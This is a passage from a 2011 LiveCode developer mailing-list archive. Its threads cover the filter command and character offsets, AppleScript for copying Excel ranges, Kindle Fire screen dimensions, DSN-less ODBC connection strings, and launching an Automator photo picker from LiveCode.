trying to get Excel to actually SELECT the columns and then copy them to the clipboard. Maybe I should move my Excel data to a Livecode stack. Hmmm... Bob On Dec 9, 2011, at 11:40 AM, zryip theSlug wrote: > Hi Bob, > > Did you try something like this? > > tell application "Microsoft Excel" > set myRange to range "A1:A5" of sheet "mySheet" of workbook "myWorkbook" > return value of myRange > end tell > > This should return a list of values between {} and separated by commas. > > > Best regards, > -- > -Zryip TheSlug- wish you the best! 8) > http://www.aslugontheroad.com > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From pmbrig at gmail.com Fri Dec 9 15:09:01 2011 From: pmbrig at gmail.com (Peter M. Brigham, MD) Date: Fri, 9 Dec 2011 15:09:01 -0500 Subject: Filter In-Reply-To: <0D815F12-AE3B-4844-A387-536F6E6BE52B@twft.com> References: <8CE84BE0A357850-209C-3A628@Webmail-m121.sysops.aol.com> <0D815F12-AE3B-4844-A387-536F6E6BE52B@twft.com> Message-ID: <8DB9F098-0A5C-48A2-A252-F5C8403A5AE4@gmail.com> On Dec 9, 2011, at 2:31 PM, Bob Sneidar wrote: > ... If you are trying to find ALL the "c"'s in the string it gets trickier.... For that, use this: function offsets str,ctr -- returns a comma-delimited list of all the offsets of str in ctr put "" into offsetList put 0 into startPoint repeat put offset(str,ctr,startPoint) into os if os = 0 then exit repeat add os to startPoint put startPoint & "," after offsetList end repeat if char -1 of offsetList = "," then delete last char of mosList if offsetList = "" then return "0" return offsetList end offsets -- Peter Peter M. Brigham pmbrig at gmail.com http://home.comcast.net/~pmbrig From dunbarx at aol.com Fri Dec 9 15:11:18 2011 From: dunbarx at aol.com (dunbarx at aol.com) Date: Fri, 9 Dec 2011 15:11:18 -0500 (EST) Subject: Filter In-Reply-To: <0D815F12-AE3B-4844-A387-536F6E6BE52B@twft.com> References: <8CE84BE0A357850-209C-3A628@Webmail-m121.sysops.aol.com> <0D815F12-AE3B-4844-A387-536F6E6BE52B@twft.com> Message-ID: <8CE84C5D6919BB2-209C-3AD1C@Webmail-m121.sysops.aol.com> Ah. Thanks, everyone. I knew about the lines, the string I tested with, was, after all, a line. But I did not get from the dictionary the power of the wildcard char "*". The example there was "A*C", and I saw that one or more chars could be between those outer chars. I did not appreciate the "*A*" syntax. Craig Newman -----Original Message----- From: Bob Sneidar To: How to use LiveCode Sent: Fri, Dec 9, 2011 9:33 am Subject: Re: Filter BTW you will get the contents of the entire line by using filter temp with "*c*". As I mentioned it works with entire lines, not chunks of text. If you are trying to see if "abcdef" contains "c" use "c" is in "abcdef". If you are trying to find which character contains the first "c" use offset("c", "abcdef"). If you are trying to find ALL the "c"'s in the string it gets trickier. If the string HAS to be formatted that way, then you will need a repeat loop. put 0 into theCount put "abcdef" into theString repeat for each char theChar in theString add one to theCount if theChar is "c" then put theCount & comma after thePositionList end if end repeat delete the last char of thePositionList optionally you could do this: put "abcdef" into theString repeat for each char theChar in theString put theChar & cr after theNewString end repeat filter theNewString with "c" I can't think of how that would be useful, but I don't know what you are doing. Bob On Dec 9, 2011, at 11:15 AM, dunbarx at aol.com wrote: > > > What am I doing wrong? If I have: > on mouseup > put "abcdef" into temp > filter temp with "c" > put temp > end mouseup > I get empty. I don't need more empty. > Craig Newman > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From dave.cragg at lacscentre.co.uk Fri Dec 9 15:26:08 2011 From: dave.cragg at lacscentre.co.uk (Dave Cragg) Date: Fri, 9 Dec 2011 20:26:08 +0000 Subject: Filter In-Reply-To: <8CE84BE0A357850-209C-3A628@Webmail-m121.sysops.aol.com> References: <8CE84BE0A357850-209C-3A628@Webmail-m121.sysops.aol.com> Message-ID: <9F6BB081-BBC2-463B-B2A1-5168F93273CF@lacscentre.co.uk> On 9 Dec 2011, at 19:15, dunbarx at aol.com wrote: > What am I doing wrong? If I have: > on mouseup > put "abcdef" into temp > filter temp with "c" > put temp > end mouseup > I get empty. I don't need more empty. Filter works on lines. From the docs: "Filters each line in a container, removing the lines that do or don't match a pattern." What were you hoping to get? Dave From benr_mc at cogapp.com Fri Dec 9 15:31:57 2011 From: benr_mc at cogapp.com (Ben Rubinstein) Date: Fri, 09 Dec 2011 20:31:57 +0000 Subject: When to release a free Android app? (development cycle) In-Reply-To: <4EE25BBF.6020305@cogapp.com> References: <6EF5B84D-6279-4021-92EE-463878505AC1@me.com> <4EE25BBF.6020305@cogapp.com> Message-ID: <4EE2703D.9090009@cogapp.com> On 08/12/2011 17:25, Andrew Henshaw wrote: > Ive uploaded an apk of the app via if anyone has a phone and wants to try it On 09/12/2011 19:04, Ben Rubinstein (me!) wrote: > * The Fire has a soft control panel... When using your app, this panel is > permanently there; and it overlays your app's control bar (eg > diary/food/exercise/breakdown). Similarly when I select the menu button from > that panel, your menu slides up but the bottom row is largely obscured by the > Fire's control panel. OK, I confused myself because I can't do maths; but this is actually pretty simple. 'The screenrect' for the Fire returns "0,0,600,1024"; 'the working screenrect' returns "0,40,600,964", which correctly reflects a 40 pixel status bar, and 60 pixels for the control bar at the bottom (though NB the shadow of the latter protrudes a few more pixels). The rect of the stack is "0,0,600,924", which correctly describes the space in which you can work. So my guess is that you are currently positioning your bottom elements using the screenrect; whereas if you used the height of the stack it would fix this problem. Ben From coiin at verizon.net Fri Dec 9 15:32:09 2011 From: coiin at verizon.net (Colin Holgate) Date: Fri, 09 Dec 2011 15:32:09 -0500 Subject: When to release a free Android app? (development cycle) In-Reply-To: References: <6EF5B84D-6279-4021-92EE-463878505AC1@me.com> <4EE25BBF.6020305@cogapp.com> Message-ID: I don't have the credit card problems Ben has. The browser is ok, and in some tests it way out performs higher end Android 3 tablets. If you go to Google docs you're teased with an App version, which I think isn't available for Kindle Fire, and if you use the web version it's the mobile one, which seems to work ok. Apps work well, and you can download a free one every day. Most of those apps are good too. From jacque at hyperactivesw.com Fri Dec 9 15:45:10 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Fri, 09 Dec 2011 14:45:10 -0600 Subject: When to release a free Android app? (development cycle) In-Reply-To: <4EE25BBF.6020305@cogapp.com> References: <6EF5B84D-6279-4021-92EE-463878505AC1@me.com> <4EE25BBF.6020305@cogapp.com> Message-ID: <4EE27356.8060601@hyperactivesw.com> On 12/9/11 1:04 PM, Ben Rubinstein wrote: > * support the reversed portrait orientation. In my use, I find that I'm > mostly using the Fire 'upside down' from what Amazon apparently expect > (so that the power button is at the top); their standard apps all handle > this, so it's jarring when another app can't handle it. I'd love to see that too, but any version of Android 2.2 or lower won't support it. At least, that's what the LiveCode docs say. It's true on my device, and I'm not sure how to work around the restriction. Most of my other apps do rotate correctly regardless (but I have one non-LC app that doesn't,) so there's some kind of hack that I don't know about or LiveCode doesn't support. I'm not sure what version of Android the Fire is running, but that may be why this LiveCode app won't rotate. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From dunbarx at aol.com Fri Dec 9 15:48:45 2011 From: dunbarx at aol.com (dunbarx at aol.com) Date: Fri, 9 Dec 2011 15:48:45 -0500 (EST) Subject: Filter redux In-Reply-To: <9F6BB081-BBC2-463B-B2A1-5168F93273CF@lacscentre.co.uk> References: <8CE84BE0A357850-209C-3A628@Webmail-m121.sysops.aol.com> <9F6BB081-BBC2-463B-B2A1-5168F93273CF@lacscentre.co.uk> Message-ID: <8CE84CB10E10780-209C-3B2AF@Webmail-m121.sysops.aol.com> Again, thanks everyone. I am pretty good at munching data. I missed a syntax construct. I play scrabble seriously. Driving home from work each day I amuse myself by taking the three letter combinations from passing license plates and making words with minimum chars. So if I see "rbd", I know I can make "bard" or "brad", both better than "beard". If I see "cwm" I know I need do nothing, since that is already a word. Yesterday I saw "czk". I knew "zincked", and wondered what it would take to write a program to find all words that contain those three letters. With the "filter command now working, it takes three lines of code, plus four more for input/output of the data. I love LC. Craig Newman -----Original Message----- From: Dave Cragg To: How to use LiveCode Sent: Fri, Dec 9, 2011 10:28 am Subject: Re: Filter On 9 Dec 2011, at 19:15, dunbarx at aol.com wrote: > What am I doing wrong? If I have: > on mouseup > put "abcdef" into temp > filter temp with "c" > put temp > end mouseup > I get empty. I don't need more empty. Filter works on lines. From the docs: "Filters each line in a container, removing the lines that do or don't match a pattern." What were you hoping to get? Dave _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From zryip.theslug at gmail.com Fri Dec 9 15:54:47 2011 From: zryip.theslug at gmail.com (zryip theSlug) Date: Fri, 9 Dec 2011 21:54:47 +0100 Subject: Applescript for getting data from a spreadsheet In-Reply-To: <4A10A87E-3107-4091-8EF1-47C8B9B367D6@twft.com> References: <9E8E9007-F72A-471F-93EC-4F86BA921557@twft.com> <4A10A87E-3107-4091-8EF1-47C8B9B367D6@twft.com> Message-ID: On Fri, Dec 9, 2011 at 9:06 PM, Bob Sneidar wrote: > Thanks man! Can I come sit at you feet and learn of your greatness?? ;-) Seems though that Excel locked up. It works for small selections, but Excel didn't like it when I did that for 4 columns of 4000+ rows. Also, I wonder if referencing entire columns might try to get all the data in all the *possible* rows instead of all the rows that have data in them? That is why I was trying to get Excel to actually SELECT the columns and then copy them to the clipboard. > > Maybe I should move my Excel data to a Livecode stack. Hmmm... No need to select the columns, you can copy them directly in the clipboard. An example for copying columns A to D: tell application "Microsoft Excel" activate COPY RANGE range "A:D" of sheet "mySheet" of workbook "myWorkBook" end tell Note that the command is named COPY RANGE, so don't forget to repeat the word "Range" two times. Maybe you will be happy to know, I'm actually working on an Excel Library for Livecode. The library will covered the following topics: - Excel Application - Window - Workbook - Sheet - Range - Chart - Shape - Printing The library will come for mac and windows. Best regards, -- -Zryip TheSlug- wish you the best! 8) http://www.aslugontheroad.com From jacque at hyperactivesw.com Fri Dec 9 16:01:45 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Fri, 09 Dec 2011 15:01:45 -0600 Subject: Filter redux In-Reply-To: <8CE84CB10E10780-209C-3B2AF@Webmail-m121.sysops.aol.com> References: <8CE84BE0A357850-209C-3A628@Webmail-m121.sysops.aol.com> <9F6BB081-BBC2-463B-B2A1-5168F93273CF@lacscentre.co.uk> <8CE84CB10E10780-209C-3B2AF@Webmail-m121.sysops.aol.com> Message-ID: <4EE27739.6060209@hyperactivesw.com> On 12/9/11 2:48 PM, dunbarx at aol.com wrote: > I play scrabble seriously. If you get an Android device, download Wordoid. You will be lost to us forever after that. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From pete at mollysrevenge.com Fri Dec 9 16:06:24 2011 From: pete at mollysrevenge.com (Pete) Date: Fri, 9 Dec 2011 13:06:24 -0800 Subject: When to release a free Android app? (development cycle) In-Reply-To: <4EE2669F.3030503@cogapp.com> References: <6EF5B84D-6279-4021-92EE-463878505AC1@me.com> <4EE25BBF.6020305@cogapp.com> <4EE2669F.3030503@cogapp.com> Message-ID: I think that gives me the info I need! Thanks On Fri, Dec 9, 2011 at 11:50 AM, Ben Rubinstein wrote: > FWIW, if I'd bought it as a consumer - at least one very familiar with the > iPhone and iPad - I'd think it was as crude as hell. The web browser is > ugly and hard to use, things don't scroll smoothly, the interface is > horrible, the 'Pulse' app doesn't work properly, it keeps losing WiFi... > etc. Some of this may be the result of being very familiar with iOS, not > all familiar with Android. I think myself most of it is because it really > is crude as hell. But, it was $199 instead of $600. For watching movies > on, it's probably fine. And if I could only download Angry Birds, my guess > is that would play fine too. -- Pete Molly's Revenge From bobs at twft.com Fri Dec 9 16:34:05 2011 From: bobs at twft.com (Bob Sneidar) Date: Fri, 9 Dec 2011 13:34:05 -0800 Subject: Applescript for getting data from a spreadsheet In-Reply-To: References: <9E8E9007-F72A-471F-93EC-4F86BA921557@twft.com> <4A10A87E-3107-4091-8EF1-47C8B9B367D6@twft.com> Message-ID: <4BE23AC9-4FB8-4FD2-8434-C6228E4D720F@twft.com> Very cool! I guess what I was doing wrong before is that I was not specifying the sheet and workbook name. It kept saying in it's cryptic way that it didn't understand the copy range command. Applescript. I love it. I hate it. Bob On Dec 9, 2011, at 12:54 PM, zryip theSlug wrote: > On Fri, Dec 9, 2011 at 9:06 PM, Bob Sneidar wrote: >> Thanks man! Can I come sit at you feet and learn of your greatness?? ;-) Seems though that Excel locked up. It works for small selections, but Excel didn't like it when I did that for 4 columns of 4000+ rows. Also, I wonder if referencing entire columns might try to get all the data in all the *possible* rows instead of all the rows that have data in them? That is why I was trying to get Excel to actually SELECT the columns and then copy them to the clipboard. >> >> Maybe I should move my Excel data to a Livecode stack. Hmmm... > > No need to select the columns, you can copy them directly in the clipboard. > > An example for copying columns A to D: > > tell application "Microsoft Excel" > activate > COPY RANGE range "A:D" of sheet "mySheet" of workbook "myWorkBook" > end tell > > Note that the command is named COPY RANGE, so don't forget to repeat > the word "Range" two times. > > Maybe you will be happy to know, I'm actually working on an Excel > Library for Livecode. > The library will covered the following topics: > > - Excel Application > - Window > - Workbook > - Sheet > - Range > - Chart > - Shape > - Printing > > The library will come for mac and windows. > > > Best regards, > -- > -Zryip TheSlug- wish you the best! 8) > http://www.aslugontheroad.com > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From todd at geistinteractive.com Fri Dec 9 16:39:47 2011 From: todd at geistinteractive.com (Todd Geist) Date: Fri, 9 Dec 2011 13:39:47 -0800 Subject: DSN Less connections to ODBC database Message-ID: Hello, I am experimenting with a generic an ODBC datasource. I can connect using revOpenDatabase and DSN, but I would really like to ditch the DSN. Does any one know if this is possible? I have tried to just enter the host and port, but somehow you need to specify the driver. I did install the driver in the same folder as the others. But that didn't help. Any one try this? Todd From roger.e.eller at sealedair.com Fri Dec 9 16:44:23 2011 From: roger.e.eller at sealedair.com (Roger Eller) Date: Fri, 9 Dec 2011 16:44:23 -0500 Subject: DSN Less connections to ODBC database In-Reply-To: References: Message-ID: On Fri, Dec 9, 2011 at 4:39 PM, Todd Geist wrote: > Hello, > > I am experimenting with a generic an ODBC datasource. I can connect using > revOpenDatabase and DSN, but I would really like to ditch the DSN. Does any > one know if this is possible? I have tried to just enter the host and port, > but somehow you need to specify the driver. I did install the driver in > the same folder as the others. But that didn't help. > > Any one try this? > > Todd > > On which OS? In my experience, Windows needs a DSN for ODBC. I just let my stack check for it, then create it if needed. ~Roger From bobs at twft.com Fri Dec 9 16:45:37 2011 From: bobs at twft.com (Bob Sneidar) Date: Fri, 9 Dec 2011 13:45:37 -0800 Subject: DSN Less connections to ODBC database In-Reply-To: References: Message-ID: <784435BD-9DB1-4C94-AF3F-782438667C00@twft.com> I played around with this a long time ago, because I didn't want to futz with mySQL (didn't know how at the time). I gave up and was forced to use mySQL because ODBC was so terribly unreliable and difficult to configure on a Mac if you didn't already know what you were doing. I do not think you can avoid the DSN. It's the go between of your client and the source, which is the "open" in ODBC. Bob On Dec 9, 2011, at 1:39 PM, Todd Geist wrote: > Hello, > > I am experimenting with a generic an ODBC datasource. I can connect using > revOpenDatabase and DSN, but I would really like to ditch the DSN. Does any > one know if this is possible? I have tried to just enter the host and port, > but somehow you need to specify the driver. I did install the driver in > the same folder as the others. But that didn't help. > > Any one try this? > > Todd > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From kray at sonsothunder.com Fri Dec 9 16:47:55 2011 From: kray at sonsothunder.com (Ken Ray) Date: Fri, 9 Dec 2011 15:47:55 -0600 Subject: Apple Photo (media) Picker In-Reply-To: References: Message-ID: <6E86951E-0325-4EA5-9B02-59BF8F28FE89@sonsothunder.com> First create the automate as Ken described and save it somewhere. In this > case I saved it on y desktop. > then in LC do the following > > get shell ("automator '/Users/todd/Desktop/test.workflow'") > > put value(line 2 of it) > > > That should do it. I didn't realize you could call Automator from shell()? so I revised it so you don't even need to save out a text file - just make a workflow that has a single Ask for Picture action, and then run it with shell(); loop through the lines and get the paths and you're done: on mouseUp ChoosePicture put the result end mouseUp on ChoosePicture put specialFolderPath("desktop") & "/Choose Picture.workflow" into tWorkflowPath put shell("automator '" & tWorkflowPath & "'") into tResult put "" into tPaths repeat for each line tLine in tResult if tLine contains quote then get matchText(tLine,".*?\"(.*?)\"",tPath) put tPath into line (the number of lines of tPaths)+1 of tPaths end if end repeat return tPaths end ChoosePicture Thanks, Todd! Ken Ray Sons of Thunder Software, Inc. Email: kray at sonsothunder.com Web Site: http://www.sonsothunder.com/ From roger.e.eller at sealedair.com Fri Dec 9 16:50:44 2011 From: roger.e.eller at sealedair.com (Roger Eller) Date: Fri, 9 Dec 2011 16:50:44 -0500 Subject: DSN Less connections to ODBC database In-Reply-To: <784435BD-9DB1-4C94-AF3F-782438667C00@twft.com> References: <784435BD-9DB1-4C94-AF3F-782438667C00@twft.com> Message-ID: On Fri, Dec 9, 2011 at 4:45 PM, Bob Sneidar wrote: > I played around with this a long time ago, because I didn't want to futz > with mySQL (didn't know how at the time). I gave up and was forced to use > mySQL because ODBC was so terribly unreliable and difficult to configure on > a Mac if you didn't already know what you were doing. I do not think you > can avoid the DSN. It's the go between of your client and the source, which > is the "open" in ODBC. > > Bob > > For OS X, you do need an add-on for the DSN, and this one works well. Then ODBC from LC works the same for Win or Mac. http://www.actualtech.com/ ~Roger From todd at geistinteractive.com Fri Dec 9 16:56:14 2011 From: todd at geistinteractive.com (Todd Geist) Date: Fri, 9 Dec 2011 13:56:14 -0800 Subject: DSN Less connections to ODBC database In-Reply-To: References: Message-ID: I am on a Mac but it needs to be Xplat. I don't think you *need* a DSN on either platform. My evidence is that PHP doesn't require it. the PHP function odbc_connect() can use either a DSN or a DSN-less connection string can be used. http://php.net/manual/en/function.odbc-connect.php hmm maybe I could use the same syntax as PHP be right back... Todd On Fri, Dec 9, 2011 at 1:44 PM, Roger Eller wrote: > On Fri, Dec 9, 2011 at 4:39 PM, Todd Geist wrote: > > > Hello, > > > > I am experimenting with a generic an ODBC datasource. I can connect > using > > revOpenDatabase and DSN, but I would really like to ditch the DSN. Does > any > > one know if this is possible? I have tried to just enter the host and > port, > > but somehow you need to specify the driver. I did install the driver in > > the same folder as the others. But that didn't help. > > > > Any one try this? > > > > Todd > > > > > On which OS? In my experience, Windows needs a DSN for ODBC. I just let > my stack check for it, then create it if needed. > > ~Roger > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Todd Geist (805) 419-9382 From todd at geistinteractive.com Fri Dec 9 17:12:26 2011 From: todd at geistinteractive.com (Todd Geist) Date: Fri, 9 Dec 2011 14:12:26 -0800 Subject: DSN Less connections to ODBC database In-Reply-To: References: Message-ID: So the PHP DSNLess Connection string syntax doesn't work for revOpenDatabase. Too bad. But if PHP can do it on both mac and windows it must be possible. The syntax looks like this "Driver={};Server=
;Database=" That can be substituted for a DSN in php Todd -- Todd Geist From matthias_livecode_150811 at m-r-d.de Fri Dec 9 17:11:51 2011 From: matthias_livecode_150811 at m-r-d.de (Matthias Rebbe) Date: Fri, 9 Dec 2011 23:11:51 +0100 Subject: DSN Less connections to ODBC database In-Reply-To: References: Message-ID: <82CBD36F-FF4D-4F1D-B9A0-BCA373981877@m-r-d.de> Hi Todd, do you want to connect to an ODBC data source w/o creating a DSN in ODBC Manager/Administrator on Win/Mac? If so, there was a discussion in October 2010 in this list with the topic "Does revDB support FileDSN or Connection Strings?" The following is an example which should work under windows w/o problems. get revOpenDatabase("ODBC","DRIVER=SQL Server;SERVER=" & tServer\ & ";DATABASE=" & tDBase & ";UID=" & tUser & ";PWD=" & tPw\ & ";Trusted_Connection=No",,,) On Mac i am using the ActualTech with this connection string: Driver={Actual SQL Server};Server=192.168.0.1\SQLExpress;Database=NorthWind;UID=sa;PWD=my_password;" You should not have any spaces around the semi-colons or the assignment operator (the "equals" signs). Btw.: There is a site http://www.connectionstrings.com/ with a connection string reference. Regards, Matthias Am 09.12.2011 um 22:39 schrieb Todd Geist: > Hello, > > I am experimenting with a generic an ODBC datasource. I can connect using > revOpenDatabase and DSN, but I would really like to ditch the DSN. Does any > one know if this is possible? I have tried to just enter the host and port, > but somehow you need to specify the driver. I did install the driver in > the same folder as the others. But that didn't help. > > Any one try this? > > Todd > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From matthias_livecode_150811 at m-r-d.de Fri Dec 9 17:14:33 2011 From: matthias_livecode_150811 at m-r-d.de (Matthias Rebbe) Date: Fri, 9 Dec 2011 23:14:33 +0100 Subject: DSN Less connections to ODBC database In-Reply-To: <82CBD36F-FF4D-4F1D-B9A0-BCA373981877@m-r-d.de> References: <82CBD36F-FF4D-4F1D-B9A0-BCA373981877@m-r-d.de> Message-ID: <70D669FF-403D-47DB-B462-0D20B5489BC6@m-r-d.de> > On Mac i am using the ActualTech with this connection string: > Driver={Actual SQL Server};Server=192.168.0.1\SQLExpress;Database=NorthWind;UID=sa;PWD=my_password;" > You should not have any spaces around the semi-colons or the assignment operator (the "equals" signs). Hi, let me complete the sentence: On Mac i am using the ActualTechnology ODBC for SQL Server. Regards, Matthias From livfoss at mac.com Fri Dec 9 17:24:11 2011 From: livfoss at mac.com (Graham Samuel) Date: Fri, 09 Dec 2011 23:24:11 +0100 Subject: Apple Photo (media) Picker In-Reply-To: References: Message-ID: <9F6F1AB9-8B6A-4C6D-99F0-95CE5F4C4B51@mac.com> This is just a quick thank you to Ken Ray, and also to Todd Geist for his added note on this. I will get it going in my own environment soon. Being English, I don't often use the word "awesome" but it seems an appropriate response in this case. Graham On Fri, 9 Dec 2011 10:25:28 -0600, Ken Ray wrote: [?] > Here's what you do (I tested this): > > In Automator: > > 1) Start a new workflow and add two actions: "Ask for Photos" (this is in the 'Photos' category under 'Library' in the left column) and "New Text File" (this is in the 'Text' category). > 2) For "Ask for Photos", you can either leave it alone or uncheck "Allow multiple selection" (if you don't want the user to do that). > 3) For "New Text File", set these settings (the rest you can just leave as defaults): > Save as: picturepath.txt > Where: Documents [x] Replacing existing files > 4) Save the workflow as an application (you can pick from the 'FIle Format' popup menu at the bottom of the 'save as' dialog) named "Choose Picture". > NOTE: Save it to your desktop for now so the following LC script will work without modification. > > In LiveCode, create a button and put this script in it: > > on mouseUp > ChoosePicture > put the result > end mouseUp > > on ChoosePicture > put 30000 into tTimeout > put specialFolderPath("documents") & "/picturepath.txt" into tPicPathFile > put specialFolderPath("desktop") & "/Choose Picture.app" into tChoosePicApp > if there is a file tPicPathFile then delete file tPicPathFile > launch tChoosePicApp > put the milliseconds into tMS > put true into tTimedout > repeat until ((the milliseconds - tMS) >= tTimeout) > wait 100 milliseconds with messages > if there is a file tPicPathFile then > put url ("file:" & tPicPathFile) into tPicPath > delete file tPicPathFile > put false into tTimedOut > exit repeat > end if > end repeat > if not(tTimedOut) then > if tPicPath = "" then return "Cancel" > return tPicPath > else > return "timeout" > end if > end ChoosePicture > > Now click the button and test it out? you should get back in "the result" either the path to the selected picture, the word "Cancel" (if they chose to click the Cancel button), or the word "timeout" if for some reason it couldn't get the file that is supposed to be created by the Choose Picture app. > > A couple of caveats/notes: > > 1) AFAIK there's no way to call the "Ask for Photos" palette from AppleScript directly, so that's the reason for the Automator solution. > 2) When the "Ask for Photos" palette is open, the Automator "gear" icon is shown in the Mac menu bar (although there's nothing the user can do with it). > 3) Feel free to change the paths to where you want to write the file, how it's named, etc? you get the idea on how this works? > > and Todd Geist also wrote: > > Hello, > > This way works too. > > First create the automate as Ken described and save it somewhere. In this > case I saved it on y desktop. > then in LC do the following > > get shell ("automator '/Users/todd/Desktop/test.workflow'") > > put value(line 2 of it) > > > That should do it. From bobs at twft.com Fri Dec 9 17:32:13 2011 From: bobs at twft.com (Bob Sneidar) Date: Fri, 9 Dec 2011 14:32:13 -0800 Subject: Applescript for getting data from a spreadsheet In-Reply-To: References: <9E8E9007-F72A-471F-93EC-4F86BA921557@twft.com> <4A10A87E-3107-4091-8EF1-47C8B9B367D6@twft.com> Message-ID: <0DFC082B-3B9B-4D61-8EA3-A1EBA3D0E59A@twft.com> Ok now my problem is I am trying to open the file via Applescript. The dictionary says: open workbook?v : Opens a workbook. Hence this appleScript: tell application "Microsoft Excel" activate set the default file path to "Volumes/data/LogosAdmin/TechData/Tech Documents/" open workbook "DHCP Clients.xlsx" copy range range "B:E" of sheet "DHCP Clients.xls" of workbook "DHCP Clients.xlsx" end tell It stops at open workbook "DHCP Clients.xlsx": error "Microsoft Excel got an error: \"DHCP Clients.xlsx\" doesn?t understand the open workbook message." number -1708 from "DHCP Clients.xlsx" I feel like an ignorant putz, but shouldn't I be able to open a frickin workbook like this?? With Applescript I feel like if I type two spaces where it expected one the computer will shut down and never restart again just to punish me for being such an imbecile. Bob On Dec 9, 2011, at 12:54 PM, zryip theSlug wrote: From todd at geistinteractive.com Fri Dec 9 17:59:00 2011 From: todd at geistinteractive.com (Todd Geist) Date: Fri, 9 Dec 2011 14:59:00 -0800 Subject: DSN Less connections to ODBC database In-Reply-To: <82CBD36F-FF4D-4F1D-B9A0-BCA373981877@m-r-d.de> References: <82CBD36F-FF4D-4F1D-B9A0-BCA373981877@m-r-d.de> Message-ID: Yes! Matthias! That worked! Thanks. On the Mac one can connect to FileMaker 11 Server with this put "Driver={FileMaker ODBC};Server=localhost;Database=;UID=;PWD=;" into tString put revOpenDatabase("ODBC", tString, "", "", "") into tData I have not tested this with PCs yet. But I'll bet something similar works. Thanks, Todd From zryip.theslug at gmail.com Fri Dec 9 18:02:45 2011 From: zryip.theslug at gmail.com (zryip theSlug) Date: Sat, 10 Dec 2011 00:02:45 +0100 Subject: Applescript for getting data from a spreadsheet In-Reply-To: <0DFC082B-3B9B-4D61-8EA3-A1EBA3D0E59A@twft.com> References: <9E8E9007-F72A-471F-93EC-4F86BA921557@twft.com> <4A10A87E-3107-4091-8EF1-47C8B9B367D6@twft.com> <0DFC082B-3B9B-4D61-8EA3-A1EBA3D0E59A@twft.com> Message-ID: On Fri, Dec 9, 2011 at 11:32 PM, Bob Sneidar wrote: > Ok now my problem is I am trying to open the file via Applescript. The dictionary says: > open workbook?v : Opens a workbook. > > Hence this appleScript: > tell application "Microsoft Excel" > ? ? ? ?activate > ? ? ? ?set the default file path to "Volumes/data/LogosAdmin/TechData/Tech Documents/" > ? ? ? ?open workbook "DHCP Clients.xlsx" > ? ? ? ?copy range range "B:E" of sheet "DHCP Clients.xls" of workbook "DHCP Clients.xlsx" > end tell > > It stops at open workbook "DHCP Clients.xlsx": > error "Microsoft Excel got an error: \"DHCP Clients.xlsx\" doesn?t understand the open workbook message." number -1708 from "DHCP Clients.xlsx" > > > I feel like an ignorant putz, but shouldn't I be able to open a frickin workbook like this?? With Applescript I feel like if I type two spaces where it expected one the computer will shut down and never restart again just to punish me for being such an imbecile. 8-) The Excel documentation has numerous traps. Sometimes the syntax is natural and sometimes... surnatural. ;-) Try: open workbook workbook file name "DHCP Clients.xlsx" Best regards, -- -Zryip TheSlug- wish you the best! 8) http://www.aslugontheroad.com From bobs at twft.com Fri Dec 9 19:03:07 2011 From: bobs at twft.com (Bob Sneidar) Date: Fri, 9 Dec 2011 16:03:07 -0800 Subject: Applescript for getting data from a spreadsheet In-Reply-To: References: <9E8E9007-F72A-471F-93EC-4F86BA921557@twft.com> <4A10A87E-3107-4091-8EF1-47C8B9B367D6@twft.com> <0DFC082B-3B9B-4D61-8EA3-A1EBA3D0E59A@twft.com> Message-ID: > 8-) > > The Excel documentation has numerous traps. Sometimes the syntax is > natural and sometimes... surnatural. ;-) > > Try: > open workbook workbook file name "DHCP Clients.xlsx" > > > Best regards, > -- > -Zryip TheSlug- wish you the best! 8) > http://www.aslugontheroad.com I get: error "Microsoft Excel got an error: Can?t continue open workbook." number -1708 By the way I know the path is correct. I tried with the full path: open workbook workbook file name "/Volumes/data/LogosAdmin/TechData/Tech Documents/DHCP Clients.xlsx" I tried the short name: open workbook workbook file name"DHCP Clients.xlsx" I tried setting the default path: set default file path to "/Volumes/data/LogosAdmin/TechData/Tech Documents/" open workbook workbook file name "DHCP Clients.xlsx" Thanks for trying zryip. This has reminded me why after great hopes that Applescript could replace Hypercard (in some sense), why I was driven to despair and went looking for some kind of hypercard-like software. That was when I found Revolution/Livecode. Applescripters are at the mercy of the people in the software developers employ concerning how they implement their dictionary, and how they document it. Places where enumeration makes all the sense in the world, you might find they didn't implement it. Places where a simple argument like the full path to a file, as in "open workbook" simple does not work like that, and there is NOTHING but NOTHING in the way of developer documentation to explain how the hell they want you to do things! That is insanity waiting to happen, and I am already crazy so there is no new ground to cover here. By the way, I know the path is correct. I copy/pasted it from the Get Info window. Bob From henshaw at me.com Fri Dec 9 19:15:22 2011 From: henshaw at me.com (Andrew Henshaw) Date: Sat, 10 Dec 2011 00:15:22 +0000 Subject: When to release a free Android app? (development cycle) In-Reply-To: <4EE2703D.9090009@cogapp.com> References: <6EF5B84D-6279-4021-92EE-463878505AC1@me.com> <4EE25BBF.6020305@cogapp.com> <4EE2703D.9090009@cogapp.com> Message-ID: Thanks for that, Ill move it up 60 pixels! I was working with the 'working 